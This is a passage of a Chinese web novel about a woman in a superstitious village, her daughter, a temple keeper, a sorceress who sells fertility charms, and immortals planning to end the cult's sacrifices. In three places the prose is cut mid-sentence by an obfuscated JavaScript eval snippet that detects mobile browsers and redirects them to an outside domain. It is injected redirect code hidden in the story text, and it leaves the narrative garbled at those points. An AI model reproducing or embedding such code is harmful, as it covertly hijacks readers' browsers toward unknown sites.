她的女儿李小潭在这段母女关系中成为了一个骑墙派,她对母亲的软弱嗤之以鼻,又理解她的大部分做法,无法背离这个深陷泥淖中的人而去。数月后李小潭将在一个火光冲天的夜晚彻底转变为季有兰的隐秘支持者,而这一转变的伏笔在流产之日就已经埋下。 李小潭冲出家门,沿着清溪河泛金光的河水一直往学校跑去的时候,季有兰终于对自己过去三十六年的人生做出了回应——她摇了摇头,否决了除李小潭以外的一切。但应该如何做,在她的脑中还是一片空白。她在止血之后的第三日就重新背上割草的背篓去了田里,填补羊圈里三头山羊空虚的肚皮。 清溪河自西向东贯穿了明月庄的始终,一视同仁地连接起东边的天师庙和西边田里的季有兰,现在不是播种的季节,她就拾穗,割草,喂羊,以及去东天师庙里许愿。最后一件是李池吩咐她去做的,这个已经对丈夫死心的女人表面上顺从了他,实际却跪在吉祥天师的像前一言不发。 季有兰活到现在,顺从了人生的所有洪流,也顺从了李池的所有吩咐。现在她想要回头,却站在河中茫然无措。 “小潭。” “春生老师。” 两个人的话撞在一起,李春生让了路,“你先说。” “春生老师,我要是说我想走,是不是大逆不道?” 她不知道自己和老师想的是同一件事,还在为自己疯狂的想法提心吊胆,李春生就问道:“你觉得逆了什么道?” “我不知道,可能是孝道吧。但我要走也是和妈一起走,只是背叛了一半的孝道吧。还有就是,神婆子说的,明月庄外面都是地狱一样的烈火,人走进去就会变成恶鬼,那些外面来做生意的也是小鬼,为了讨好咱们才来的,明月庄里出去的不是救苦就是遭小鬼迷惑了。我要是不听,非要出去,是不是就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我看要驱邪的是他们。” 季有兰在心底里隐约地赞同李小潭的观点,因此她不再说下去,而是以沉默代替了一切,屋子里只有母女二人的呼吸声。李池不在家里的日子,季有兰感到轻松,但小潭这样说,她又不得不神经紧绷,努力抹平自己的生活。 “妈,你说吉祥天师要是真的存在,为什么还让你过得这样苦?” 季有兰不知道怎么回答,她对“苦”没有概念,觉得一切事都在自己命里定好了,好不好苦不苦的与她没有关系。 “我不苦,我只是累。” “这是因为你嫁错了人。” “这样说你爸是不孝。” 季有兰嘴上这么说着,眼里却已经噙着泪,她眨巴着眼与李池结下婚约的时候对日后要面对的家庭生活没有多少概念,只知道人长大了就要和另一个人结婚,生下一个或者几个孩子,孩子长大以后也会重复这一行为。李小潭作为她的女儿指出了季有兰人生中的这段错误,这对于季有兰这样的女人来说是毁灭性的判断,她不是出于对李池的维护才指责小潭,而是对自身的辩白,哪怕她知道李小潭说对了,现阶段也仍然需要依附家庭中的身份来确认自己的存在。 “那要是吉祥天师真的存在,他为什么还让你掉了孩子?” “那恐怕是咱们家福德不够。” “不是,因为你嫁错了人,妈妈。” “怎么还这么说?” 李小潭站起来,“他要是没有去喝茶,而是帮你干活,你就不会这样累,孩子也不会没有了。都是他的错,和你没关系,和咱们家也没关系,和吉祥天师更加没有关系。” 杯中酒喝完了,李春生的讲述也告一段落,我评价道:“胆子真大。” “你说谁?” “我说你们两个。” “因为我了解她们,只是顺水推舟。季有兰的情况是站在沼泽地里,她会随着时间下沉,就算我要让她离开,也得她配合才行。否则她变成不动的石头义无反顾地沉下去,我也没有办法的,只要她有离开的念头,有一点点,我们才能帮到她们。这些话让李小潭来说最合适,也最有用。” 他把白日里没收来的纸条递到我面前,“烧了吧。” 4. 母亲 结婚以来的十几年,季有兰好像终于得了空档来思考自己的人生。她觉得这个问题很复杂,不能简单地怪罪她错误的婚姻。也许那只是树干上的第一个虫窝,不是好事却也不致命,是后来棉絮般理不清的点点滴滴才让她垮了。 李小潭的话是长久的耳鸣,季有兰无法忽视,更无法忘记。她可能丢掉了部分的自己,却不可能丢掉一丁点儿的李小潭。她再次走进了东边的天师庙里。 明月庄的天师庙本来有两座,西边一座,东边一座。西边的在几十年前倒了,中学在庙宇的废墟上屹立起来,剩下东天师庙在河岸边迎来送往。其实庙里的陈设很简单,一尊神像,几个蒲团,一些经幡,还有一个供桌。要不是今天季有兰进来,她都快忘了庙里还有一个老季。 老季打了一个瞌睡之后就猛然惊醒,他看到蒲团上跪着一个沉默的季有兰。他拄着扫把挪过来问她,“你怎么不说话?” 老季并不老,要说年龄也不过比季有兰大了四五岁,他叫“老季”是因为中学里还有个“小季”,这个称呼只是用来区分他们兄妹俩。 “我还在想。” “想什么?” “想我要求什么。”季有兰现在整个人都好像被抽干了水分,好像一个干瘪的僵尸,她的脸颊明显地凹陷下去,眼眶变得更加深邃,眼珠泛着灰色,老季在她身上感觉不到一点儿人气。 “哪儿有人不知道自己要求什么的?” “我就不知道,难道我不是人吗?” “我不是这个意思。” 老季驼着背站在庙宇中央手足无措,季有兰的表现让他觉得自己应该搭把手,然而连季有兰自己都还没想好要做什么,老季就尴尬地杵在那里动不了了。 “那你要是想好了,可以先和我说说。” “我说了,你转头就告诉别人去了。” “你这事儿见不得人?” “这里见不得人的事儿多了去了。” 季有兰背起她的箩筐走了,把老季一个人甩在背后。老季望着季有兰遥遥远去的背影,发现她瘦得像自己咽气之前的母亲,竟然迎风落下两行泪来。 季有兰的逃离又一次让老季想起母亲离去的那个下午,难道季有兰想求的事情会比母亲的死还要见不得人吗?每当这种时候,老季就控制不住自己的思绪乱飞,连带着他的身体也跟着迅速地感到疲累。他拄着扫把坐在地上睡着了,直到月亮升起他才醒来。老季摩挲着神像下面的基座,轻轻地喊了一声“妈妈”。 季有兰从李小潭的话里解读出明月庄生活的另一种可能性,心中逐渐产生了一个不可告人的秘密,不能对吉祥天师说,也不能对任何人说,李小潭也不能。她想到了老季在天师庙里养的几只鸡,全都瘦得掉毛。之后的日子里季有兰仍然背上竹筐去割草,拾穗,并把一袋干玉米粒带给了庙里的扫地老季,他的那几只鸡在短暂地改善了伙食之后肉眼可见的胖了些。 季有兰逐渐成为东天师庙里最常露面的香客,她仍然在蒲团上一言不发,做无欲无求的来客。老季呢,他透过季有兰的眼睛,时刻缅怀自己的母亲。 季有兰抬起头发现自己处在老季的目光下,苍白的脸上有了明显的血色,“你看啥呢?” 老季的思绪回到现实世界,他也注意到自己的视线不同寻常,便迅速移开了,“没啥。” “没啥你躲什么?” 这一问把老季吓成了结巴,他感到四肢好像都不属于自己,季有兰的眼睛一看过来,他的身与心就似乎一齐在天地间赤裸了。蒲团上的女人则露出了难得的笑容,“嘿,多大的人了,还脸红呢。” 季有兰背起竹筐跑了,这一次她的身影在夕阳下面摇晃,蜡烛火苗般把东天师庙的门楣烫得发出“毕剥”的响声。 第二天李小潭家的门口就出现了两瓶绒布包好的牛奶。季有兰一眼就认出那块绒布来自东天师庙,她藏好了瓶子和布,却无法将情绪也完全收起。李池还翘着脚在床上打呼噜,季有兰用了很长的时间来思考自己应当做出怎样的选择。这是她随波逐流的三十六年来头一回主动寻找岸边的绳子,现在她需要自己考虑这到底是一条草绳还是毒蛇。 她的背篓再次出现在东天师庙里,这次她没有跪在蒲团上,而是抱着腿坐在门边,老季从神像背后探出半个脑袋来,“你来了。” 季有兰没有说话,而是将背篓里的毛豆拿出来在空地上铺开晾晒。 “那是我买的。”老季说。 “我知道。” “你身体不好。” “我知道。” 老季从神像背后钻出身子,就往井边正在吃食的一只老母鸡扑去,他踉跄了一下整个人像一张饼飞了过去,鸡翅膀在老季的脸上扑腾起灰尘和泥土,昨天夜里的雨水把老季的胸口打湿了一大片,他在漫天的鸡毛中与母鸡搏斗,其余的几只聚在角落里等待这场博弈的结果。季有兰站在她的毛豆后面,与这庙里的事物若即若离。 老季终于抓着老母鸡的翅膀根儿,身上粘得像个鸡毛掸子似的要季有兰收下。 “像什么样子。”她掸开了老季的手,背上竹篓隐入了远处的田间。 李小潭与李旺儿之间的纷争盖不住茶室的闲言碎语,它随着季有兰出入东天师庙的频率而茁壮生长。李池在上午十点三十五分到达这里,比平时晚了五分钟,一个膀大腰圆,胡子拉茬的男人冲着他吹口哨:“李池!你老婆天天去庙里!” “那是我让她去的!” “她还在庙里晒毛豆呢!” “我家里没有毛豆!” “可是老季那里有!他还用毛豆炖鸡汤嘞!哈哈哈哈哈哈……” “炖你爹的头!”李池扔掉杯子冲过去啐他,但胡子男人站起来比李池高了足足两个头,这个在家里睡觉要占掉大半张床的男人现在就像一只蔫茄子,他不敢与这个男人对抗也不敢去庙里确认他说的事情,他成为茶水室众人视线的中心,在脑海里为自己寻找转寰的余地,水烧开了新的一炉,吱吱叫着催促伙计来装下一炉。李池在灌水的汩汩声下挤出一句:“那是我送的!我送的!” 他在众人的喝彩般的笑声中蜷缩回自己的座位,装作什么也没有发生过一样叩叩桌面,“添茶!添茶!” 李池感到郁闷,茶也喝得索然无味,傍晚拖着鞋回到家里的时候才发现自己把茶水室的杯子顺了回来。他把杯子抓在手里翻来覆去地端详,发现白瓷杯上其实有着细小的黑色斑点,内里积起了茶垢,小时候用秸秆编过的草环就是这个样子。 “你妈呢?”看到李小潭回到家中,李池的注意力就从杯子转移到人身上。 “这不是回来了吗?” 季有兰的身形就在李小潭后头不远处,箩筐里的羊草高出了她的头顶,李池问道:“你去庙里了?” “不是你要我去的?” 这个男人便低下了头,他既想紧紧抓住自己在家的地位,又想要保住在外的颜面,这两头担子他挑不好,摇摇晃晃反而要把自己给摔了。 “遇到老季了?” “哪个去庙里的没见到老季啊?” “你跟他讲话了?” “你讲话这么没道理。”季有兰将一把羊草扔到食槽里,三头山羊叫嚷着围过来进食,在季有兰卧床的三天里他们已经饥肠辘辘,开始啃食羊圈的墙皮,现在新鲜的羊草让他们的方眼珠焕发出别样的光彩,其中一头直起脖子引吭高歌,另外两头规律地踏着蹄子鼓掌,“又不是死人,还不能讲话了?” 李池在一片羊叫声中提高了嗓音,“你别被他骗咯!” “他能骗我什么?” 李池叩了叩手上的白瓷杯,“骗你钱!骗你身子!” “你不信就跟着我去庙里。” “我还要喝茶!” 季有兰把她对李池的失望和愤怒积累成一根一根的羊草,通过山羊口腔的咀嚼转化为看不见也摸不到的东西,但失望的无数种形式最终还是会回到她的面前,成为羊圈里需要清理的一角。 季有兰将最后一捆羊草扔到食槽当中,李池仍在门口抚摸那只白瓷杯子,她走过李池的身边踏进房门,也踏进不再回头的道路。李池顺回家的茶杯成了酒杯,他开始不分昼夜地酩酊大醉,霸占大部分的床铺。 李池熟睡的时候,季有兰看着家里柜子上的吉祥天师塑像生出了一个可怕的念头:这塑像可以在李池的头上砸一个窟窿。 季有兰当然没有这样做,这会害了她自己,也会害了李小潭。 那天开始,季有兰的羊草越割越多,去天师庙的时间却越来越短,蒲团上她依旧闭口不言,心里却摸清楚了想求的是什么。老季就和雕像一样无言地坐着,一直等到季有兰离开。老季会抚摸季有兰跪过的蒲团,开始研磨红豆和莲子,有时候会拎着一块好肉,在季有兰跪拜的时候偷偷放到她割的羊草当中。 季有兰说:“你哪儿来这么多钱呐?” 老季不作回答,只继续往季有兰的箩筐里放东西。季有兰接着说道:“你该拿去给你妹子。” “她不用。” “我吃了啥用?” 季有兰只是想要拒绝老季的好意,老季却认真地回答了她的问题:“你太瘦了,瘦得像一只青蛙。” “哪儿有人像青蛙的。” 季有兰对此不知情,但明月庄里比老季更年长些的人都知道这件事,十几年前老季的母亲还能走路的时候就是季有兰这样的瘦骨嶙峋,胸腔还比不上一只青蛙的气囊丰满。 老季至今也不知道母亲得的是什么病,只知道她躺在床上的时候,皮肤被重力拉扯着更加紧贴着骨架,把她腐烂后的形状都勾勒得清清楚楚。她咯血,二十四小时不间断地咳嗽,父亲看了以后告诉老季,她不通气,堵住了,你看她的肺起伏如此不畅,需要东西给她通气。 父亲在神婆子的口中得到一个“百治百灵”的药方:一只青蛙。 “你看青蛙叫起来那个大大的气囊,那就是能通气的铁证。”在父亲的伺候下,老季看着骨架般的母亲被掰开嘴,往喉咙里塞进去一只活青蛙。这只活青蛙顺利地沿着食道进入了母亲的胃中,让这个奄奄一息的女人瞪大了眼睛,她盯着老季张大了嘴,说出了卧床十几日以来的第一句话:“我……好……苦……” 说完这句话,母亲就咽了气,她像一个气球一样变得更瘪,完全只剩下了一张皮,而她的胸腔高高挺起成为一座无法逾越的大山。老季握着母亲干柴般的手靠在她的身上,听到她冰冷的身体里传出了一声蛙鸣。 老季背负着这声蛙鸣来到东天师庙里寻找答案:为什么听了神婆子的话,母亲还是死了?他一待就是十几年。现在,老季再一次见到了高挺的胸腔,他害怕从季有兰身体里听到熟悉的蛙鸣。 老季告诉季有兰:“你不知道,人真的可以像青蛙,但最好不要。” 季有兰被老季说的逗笑了,这个在东天师庙里扫了十几年地的男人伏在地上不敢看她,用很轻很轻的声音对她说:“我可以不喊你的名字吗?” “那叫什么?” “我不敢说,就像你不敢对天师许愿一样。” 季有兰摇了摇头,“不一样,你不知道,不一样。” “那我也不敢说,你要笑话我的。” “有什么好笑的?你说吧。” 老季在开口之前做出了很大的决心,他认为季有兰听了必定要与他分道扬镳,但话已经说到了这里,他的耳边再次响起了蛙鸣,他仰起头,以一个幼儿仰望母亲的姿态说道:“妈妈。” “啊……”季有兰从蒲团上瘫倒,她捂住嘴,眼泪就从眼眶里滚下来。 那天晚上,李小潭在家里,没有等到母亲归来。 第二天,中学一楼走廊上咚咚咚咚的脚步声就由远及近地来了。慧慧单枪匹马风风火火地推开办公室的门,门板从我鼻子前一公分左右的位置擦过,这惊险的时刻却没有在她的制造者眼里成为任何值得注意的桥段,她三两步就跨到李春生的办公桌前,“啪”地一声令所有桌面上所有物品都蹦跳起来。 “李春生,我今天来就和你说两件事。一是小潭二是你,这两件事不捋清楚你别想从这个门离开。李月来,你也一样,午饭时间已经过去了,你空得很呢。”她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063012|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然念到我的名字,留给我的却是背影,视线只在李春生身上。 “没问题,但在你开始之前。”每当慧慧以“几件事”这样的话来作为开场白,就没有人能从她的陈述中插进嘴。为此,当李春生面临这样的时刻,他就要在涌泉般的话语开始之前做好必要的确认:“你先说你帮不帮忙?” “如果你说季有兰,我当然帮。我来就是为了和你说这件事的。你们两个其实也和大多数人一样并不真正了解我的职权范围,或多或少都有些偏差。明月庄的唤我保胎仙也只是看到了部分的我,你们所知道的文慧除了是小儿神,也为人开蒙启悟的。李月来!这事儿除了我以外最清楚的应该是你!”她撇了半张脸给我,似乎对我颇有些不满。 我说:“我没义务跟他们解释你是做什么的吧,反正对你也没有影响。” “你走开!” 听她这么说了,我就伸手去开门,慧慧却又喊道:“不是让你真走!”她把我拎到李春生旁边坐下,来欣赏他们二人的对白演出。 “李月来,我说你就该找人上一堂情商课,或者你就找个手工活儿好的把嘴缝上看不见一点儿痕迹。” “不如你给我开点儿药吧,校医小姐。” 慧慧决定不再理睬我,她从角落拖了把椅子来坐在李春生对面,使我们的位置成为一个稳固的三角形,“我刚才说远了!李春生,人不是只有第一次开口说话才叫做开蒙,但凡能更好地认识自己,都是一次开悟。所以你要知道我愿意在季有兰和李小潭的事上搭把手是因为她已经迷迷糊糊地过了几十年,并不认识自己也并不把自己放在心上。明月庄这地方,受欺负的人都这样。好在李小潭是个脑子清醒的,她推着自己的亲娘回头望,那叫做季有兰的才从羊草当中直起身子,能明白自身的处境也想着去改变了,这何尝不是开蒙。既然是一次开蒙,那我肯定要来的,这事儿我要谢你,你推了小潭一把,她才能去推季有兰一把。我帮的是她,不是你。” 李春生将水杯举到她面前,“你喝口水。” 慧慧的语气虽然听着刺人,可她并不是来找茬的,吐出一连串的回答之后她放松身体,靠着椅背半躺,“你要问的我说清楚了。现在你来回答我,季有兰和老季的事情你参与了多少?” “参与?”李春生对慧慧的措辞有些异议,“我一丁点儿也没参与,你还真想错了。” “季有兰要真想走,她在这里最好别有什么姻缘,我信你没参与,但你不能不看着,别让她被这些东西栓死在这儿。季有兰和李小潭是血脉相连的母女俩,一个都不能赔进去,只有李池是最大的问题,他义无反顾地要往万婆子那里爬,你也该想想办法。” 这令李春生想起季有兰在蒲团上的沉默,他明白去了庙里的人都怀揣这样那样的目的,在这种情况下,一言不发与千言万语可以是近义词。真可惜我们三个当中没有一人能够读心。 李春生对慧慧说:“我有把握的,你不要急。” “我也不想急,可是小潭等不起,万一发生些什么,一人一口,她就是铜墙铁壁也要被啃完的,咱们没有那么多时间。” “慧慧。”李春生对着她抬手,以拿回对话的主动权,“小潭的事,季有兰和老季的事,还有你接下来要说的和我有关的事,都还在我的掌控中,好吗?我绝不会让李池妨碍她们离开这里,但同时,小潭是生在明月庄的孩子,必须比同龄人更懂得忍耐。” 慧慧从办公室中央的位置立起来大声地反驳:“李春生,你别跟李月来似的行不行,到时候对着两个大冰块我可就冻死了。你是你,小潭是小潭,她才十几岁,不要逼着她长大好不好?神仙是白当的?” “我的确是白当了。” 我还没来得及插上一句“我怎么了”,沉默就成了钟声在我们之间回荡,慧慧一步一步地把椅子推走,对着墙踹了一脚。 李春生摘了眼镜背过身去叹道:“明月庄现在的样子,我是白当的。” “所以你就要去死?” 可以说一直以来慧慧都不支持李春生的选择,在她眼里,死亡从来不是一个好的答案,更不能成为一种纠错的手段,。她曾说过,世上唯一值得称颂的慷慨赴死只有牺牲,它让人们更深刻地铭记某个时刻和某个人,然而李春生选择的死亡,是为了彻底的遗忘。 慧慧走了两步到李春生身后,他们两个的身影把夕阳筛出大小不均的三格,我听到她说:“别的我不再多说了。离正月还有一段时间,在你真正达成目标之前,我都希望你留有退路。” “为什么?” “因为我不希望你去死啊,这很难理解吗?我认为阻止人的自我毁灭是不需要理由的。” “我不是人。” 慧慧无奈地笑了一下,“能别讲这种不合时宜的笑话吗?” 李春生解释道:“慧慧,只要吉祥天师多存在一天,明月庄依附神仙偶像的现状就不会改变,活祭也不会停止。罪行已经发生,大部分人都是帮凶,只有我死去,这一切才会结束。” “又不是你教唆的,和你有什么关系?” “我意识到得太晚,也没来得及阻止。” “你阻止不了。李春生,土地再辽阔,也踩在人的脚下。我们只是借了他们头脑中的一点儿灵光飘着,人要做什么,从来都是人自己决定的。你死去了,也换不回被害者的命,改变不了这里几乎人人沾血的事实,而明月庄,也仍然有重蹈覆辙的可能性,谁知道他们会不会再造一个新的神。你应该想的是如何斩断,而不是孤身赴死。” 李春生长叹一口气说道,“不,不,不,我是带着他们一起的。杀人就该偿命。” 我们三个之间的立场都不相同,我倒是不太在乎李春生设想的情况会给我带来多大的工作量,我的时间很多,我想的只是:他将如何达成这件事。 慧慧的眉头皱得更紧了,“真是疯子。” “慧慧,你不用劝我了。我已经决定了,没有退路,不会回头。”他终于把眼镜戴上,重新成为我们熟悉的李春生,“你放心,还没那么快,正月初七不是结束,我们还有的忙呢。” 5. 白兔与游鱼 季有兰从自己频繁地呕吐欲望中分析出了再次怀孕的可能性,她在十几年的时间中已经总结出自己怀孕反应的规律,但她已经不会再对这件事情感到欣喜,当她面无表情地告诉李池这个消息之后,丈夫在饭桌上跳起来,“好好好,神婆子的办法果然有用,吉祥天师开恩,我家能有后了!” 李小潭在他看不见的角落白了一眼,默默收拾了碗筷回房去了。父亲的反应在她预料之中,她也懒得拿出力气再去反驳他,李小潭在那个年纪就明白了一个道理:极致的轻蔑是漠不关心。 李池一整晚在床上辗转反侧难以入眠,季有兰被他吵醒,不耐烦地问:“还不睡?” “我想事情,别吵。” 他想的事情季有兰猜了个八九不离十,“你又怕不是儿子。” “闭嘴!说出来就真的不是了!每次都这样!” 李池被这个想法折磨得仿佛浑身爬满虱子,他迫切地需要寻找更多保障让自己安心,于是第二天他爬进了万金花的家门。 “婆子,婆子!” “狗一样的,起来说话!” 李池佝偻着身子四下张望,凑到万金花的耳边说道: “婆子,你有没有那种药?” “哪种?别搞得见不得人似的。” “就是那种,能让女人生儿子的药。” “我要是说有,你能出多少钱来买它?” “我当牛做马,婆子。” 万金花不需要他这样的人来当牛做马,她知道什么人都比不上自己靠谱,当牛做马都是嘴上的空头支票,比黄花菜凉得还快,她坐上神婆子这个位置,最不缺的就是耳边的空话,最想听的是钱财落袋之声。 “这事儿得看造化,谁说得准呢?”万金花翻身上床嗑着瓜子,李池挂上笑脸,递给万金花一只金手镯,“诶嘿嘿婆子,那你就帮我求个造化,求你了。” “怎么?是季有兰又怀上了?” “快了,快了。” 万金花将手中的一把瓜子皮扔到李池的脸上,他笑呵呵地接了,也不抹掉,万金花就将一旁睡梦中的小白菜抱到怀中,捻起一根缝衣针扎破孩子的手指头。 “啊——!”小白菜大哭。 “张嘴。” 两滴血沿着李池肥大的舌头滑进食道,血的气味还没上升到鼻腔,万金花就说:“好了。” 她随后捏着小白菜的手指在黄纸上画了一个长长的符,“拿去烧掉化水给季有兰喝了。” “这就能生儿子了?” “我说了,这是我给你求的造化,造化能不能成,看你,看天师。” “哦哦,谢万婆子,谢天师。” “赶紧滚吧你。” 吉祥天师的名字是万金花嘴里一片飘忽不定的积雨云,他会落下瓢泼大雨,也会顺风而过露出阳光,她说这一切都看机缘,这影响了明月庄的大多数人为不确定的事诉诸更加虚无缥缈的“造化”。 这造化再好也流转不到季有兰的身上,她怀抱着秘密在李池面前游走,她感到忐忑,却并不愧疚,在东天师庙和家门口的丝线上来回奔走时,季有兰的腹部感到温暖。 然而几天后,季有兰觉得自己的左眼有些异样,她站在田埂当中捂住自己的右眼,就能看到自己家的稻田里有一团一团灰白色好像云雾的东西,这些怪东西的位置并不固定,总是随着她的脚步走动而变化位置,她不敢说是自己看见了鬼,心里却觉得害怕。 “是鬼就有能压着它们的东西。”季有兰这样想着,对自己眼睛的情况闭口不谈,再一次出现在了东天师庙里头。 老季躺在他那张破竹椅里面睡觉,听见季有兰迈进门的脚步声就抬起眼皮,“你……” “别说话,我坐会儿。” 季有兰拣了个角落里的破蒲团盘腿坐下,她的头发用布包着,从鬓角的地方漏出几缕,从中已经能看到几根白发,她和老季两尊雕像般的在庙里坐着,谁也不说话,一直到季有兰觉得眼里看到的小鬼已经畏惧于吉祥天师的威严逃走了,她才缓缓站起身来要走。 “你……”老季又开口道。 “我怎么了?” “你的眼睛……” 季有兰吓坏了,她捂住胸口来避免自己太过激动,老季指着她的左眼,“你的眼睛……” 季有兰又像在田埂中时一样捂住了自己的右眼,“呀!” 老季眼看她就要倒下去,冲过去扶住了她的腰,季有兰大喊道:“我看不见了!” “怎么会?” “我看不见了……”季有兰跪在东天师庙的地上,缓缓移开了捂着右眼的手,天师庙的一切又出现在她眼前,“又看见了……” “你的眼睛变成了灰色。” 老季的话让季有兰浑身颤栗,“我的眼睛坏掉了。” “我去买胡萝卜来,我去抓鱼来你吃鱼眼睛。”老季对于疾病的认知止步于以形补形的方法。季有兰害怕极了,她推开了老季捂着眼睛逃走了,但这个可怜的女人在这里并没有真正可以用来逃避的地方,她还是只能回到那个羊圈般的家里。 “李池!李池!”她呼喊着丈夫的名字,但李池不见踪影。 正月初七将要发生的大新闻第二天就在明月庄不胫而走,每个人都埋头在家里翻箱倒柜,要拿出些东西来让自己在祭神时能有一席之地。李池当然也是一样,从他老婆季有兰肚子里掉下来的血肉并没有让他感到满足,他盯上了院子里的兔子。 兔子的窝里有新鲜的干草,它的眼睛是雪地里的两颗血珠。今天天气好,李池蹲在兔子面前,看到它耳朵上的血管好像明月庄周围交错的河网。李池把兔子的耳朵攥在手里,觉得自己攥着的是一卷纸,他不得不把兔子拎开些距离,否则就会在大腿上留下被兔子蹬踹留下的淤青。 此时万金花正盘腿坐在床上物色今晚寻灵要用的东西,李池就拎着兔子在门外探了个头进来,“婆子,婆子。” 万金花瞥了他一眼,“有话进来说。” 李池一进门就在床边蹲下了,他的兔子脱了手在屋里乱嗅,“婆子,我这兔子行不?” “你凭什么觉得你的兔子行?” “你摸摸,我家这兔子皮毛像绸缎,他们牵来的牛羊都吃外面的杂草,脏得很,我的兔子吃的都是新鲜的干草,干净。”他说着,并把一袋子纸币塞到万金花的手里。神婆子掂了掂重量,再看看袋子里纸币的码放,脸上露出一个满意的微笑,却没有立马应下。 万金花在床边的柜子里拿出一包瓜子来开始咔哒咔哒地嗑,“李池,你知不知道寻灵寻的是什么?” “我怎么能不知道呢?寻的当然是吉祥天师撒播到人间的福泽恩灵。” “那寻灵上的酒是给谁喝的,你知不知道?” 李池的眼珠骨碌一转,“当然是给妙手师傅李得彩的了,喝了这席酒,就担下给天师塑像的任务,要为神做事去了。” 万金花听了却不屑地一笑,“你们呐,没有亲身领受过吉祥天师的恩泽,果然不知道。”她凑身上前去像是要给李池分享不得了的秘密,“我只告诉你一个,你可千万别说出去。” 能听到神婆子单独分享的秘密可是天大的好事一桩,李池虽然蹲在地上却已经觉得自己上了天堂,“你要是担心我说漏了,可以用胶水把我的嘴黏住!” 万金花不搭理这句,她盯着李池的眼睛告诉他:“这酒明里是给李得彩的,其实是吉祥天师喝去了。咱们这个寻灵,说是寻,其实是请,请仙。” “请仙?” “天师在登临塔里睡得好好的,你冷不丁大搞庆祝的宴席,不得送杯酒给他发个请帖吗?” “吉祥天师喜欢喝酒?” “你管他老人家喝不喝呢,但明月庄的礼数要齐全。咱们寻灵就是要寻得明月庄与天师的联系,这拜神大会才名正言顺呢。” 李池没明白这和他的兔子有什么关联,万金花就继续点他:“所以啊,晚上能不能用你的兔子供奉,不是我说了算,还是天师说了算的。” “嘿嘿嘿……”小白菜抓住了那只兔子的耳朵将它拎着晃荡,李池惊奇地发现兔子在小白菜手上一动不动。 李池挪到小白菜的跟前,“白菜,白菜,你问问天师,问问他呢,以后我让小潭给你做老婆。” “去你的。”万金花飞起一脚把李池踹倒在地,小白菜则在话音落下之后大叫一声“啊!”便在床上直直躺倒,兔子在屋里乱窜,等到李池擒住兔子的后腿时床上的孩子也醒了过来,“啊,呃啊,啊哈哈哈哈哈……”他怪叫着从李池手里抢过那只兔子,一边笑一边捋着兔子顺滑的皮毛。 “呀,你小子真是好福气,这兔子皮毛天师喜欢,晚上就用你的兔子了。”万金花向他解释小白菜的行为,这让他喜出望外,“哎呀,这就好了,这就好了。” 李池一转身万金花又忽然叫住他,“诶李池,你是不是少了什么?” 男人站在门口环视了一圈房间的每个角落,出乎万金花意料的脑子转得挺快,李池对着小白菜俯身作揖,“谢谢,谢谢!谢谢小仙童为我带话,我当牛做马记住你!” “嘿嘿嘿……” 李池说着又掏出一沓塑料袋包好的钞票,“婆子,你收下,收下。” “呸!”万金花啐了他一脸唾沫,“什么我收下,这是孝敬给吉祥天师的!” “诶诶诶!婆子你神通广大转交给天师!我李池给您,给天师当牛做马!” 当李池沉浸在成为神仙座下牛马的幻想当中时,季有兰发现她压在衣柜最底下的一摞钞票不见了,连同着钞票一起消失的还有院子里那只白兔子。不用提醒季有兰也猜到发生了什么,她原本还直挺挺地站着,瞬间便瘫软下去坐在地上,上半身扶着衣柜门,她感到自家的房子像一艘船一样摇晃着,她甚至听到了风浪的呼啸,而她只是一个求救的落水者。 当天夜里,神婆子摆好供桌,点上花烛。她戴上了织金翠玉抹额,手拿一把拂尘,桌上摆着一把雕龙镶玉的宝剑,一卷黄纸,一个黄铜香炉,对着围观的人群喊道:“月十九,寻灵酒,我为天师塑像有,天师保我平安久!” 三个铜板从她的袖子里滚到地上当当当响了三声,小白菜用红绸扎着冲天小辫儿,脸上抹了三层白粉,腮红涂得像猴子屁股似的跳出来,“呃啊啊啊啊,啊啊啊啊,啊!”他的小手掌上用红色的油墨画着一个符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15063013|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为他出手汗已经花掉了,这般念罢便沿着清溪河狗牙般的河岸跑远,很快看不见了。 随着小白菜的身影消失,供桌前出现的是他的老父亲李得彩,他活像个提线木偶,四肢僵硬地走到供桌前盘腿坐下,把一支毛笔横叼在嘴里。他这样封闭了言语,万金花就成了他的口舌:“神仙不言,而庶人有命,正月初七将往登临塔塑像,恭候天师大驾光临,此人李得彩——!” 话音刚落刚才冲出家门去的小白菜就回到了家门口,他的鞋底沾着红色的粉末,沿着他刚才的路线把明月庄围了起来。他的手中捧着东天师庙周围某个土包里万金花早就埋好的一个吉祥天师的神像,在众人艳羡的目光中将神像摆到供桌上。 